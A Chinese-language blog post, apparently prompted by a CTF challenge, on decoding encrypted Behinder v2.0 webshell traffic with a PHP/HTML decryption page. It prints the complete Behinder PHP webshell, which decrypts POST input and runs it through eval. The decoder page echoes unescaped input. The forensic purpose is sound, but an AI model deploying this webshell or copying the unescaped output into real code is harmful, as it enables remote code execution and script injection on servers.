0x01前言
之前打3ctf的時候看見了一道冰蠍流量還原的misc,之後覺得還挺有意思的,畢竟之前網站被種過馬 ,弄出來之後搞個工具結合全流量設備或者wireshark的包來還原攻擊者到底做了哪些動作,故有了此文。
0x02環境準備
phpstudy(注意在php環境中要開一下php_openssl,默認好像是沒開的)
冰蠍v2.0
0x03過程
首先貼一下一般用的冰蠍的PHP碼:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>
加密過程:
第一次(GET)請求生成16位的祕鑰,第二次(POST)用祕鑰對發送和接收的內容進行base64加密、AES加密(AES-128-CBC,OPENSSL_ZERO_PADDING)。
解密過程:
先用AES解密,再用base64解密。
解密腳本如下(我這個做的是網頁版的,界面很友好!如果想簡化可以只要<?php>標籤內的內容,記得把網頁傳參的變量改成普通變量):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>PHP冰蠍解碼</title>
</head>
<body>
<?php
error_reporting(0);
function aes_decrypt($data,$key){
return openssl_decrypt($data,'aes-128-cbc',$key,OPENSSL_ZERO_PADDING);
}
$text=$_POST['text'];
$key=$_POST['key'];
#'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg';
#'d59042be6e437849';
#{"status":"c3VjY2Vzcw==","msg":"cEBzc3cwcmQ="}
$s=aes_decrypt($text,$key);
preg_match_all("/\'(.*?)\'/", $s,$content);
$s1=str_replace("'", "", $content[0][0]);
?>
<h1>冰蠍-PHP 流量解碼</h1>
<form action="" method="post">
<table >
<tr>
<td align="center">密鑰</td>
<td><input type="text" name="key" maxlength="16" value="<?php if(!empty($key)){echo $key;}?>"></td>
</tr>
<tr>
<td align="center">密文</td>
<td><textarea name="text" style="height:100px;width:450px;" >
<?php if(!empty($text)){echo $text;}?>
</textarea> </td>
</tr>
<tr>
<td> <input type="submit" value="提交"></td>
</tr>
</table>
</form>
<?php
print "解密後流量:<br>";
print $s;
print "<br><br>base64解碼:<br>";
//print $s1;
print base64_decode($s1);
?>
</body>
</html><br>
實現之後的效果如下:
0x04寫在最後
冰蠍碼的流量加密確實爲後滲透提供了極大的便利,不過以後可能更進一步隱藏16位AES祕鑰或者其他方式進行加密,本文只針對v2.0這個版的進行了解密,畢竟技術還比較菜。等有時間把jsp版的也做了!立個flag 。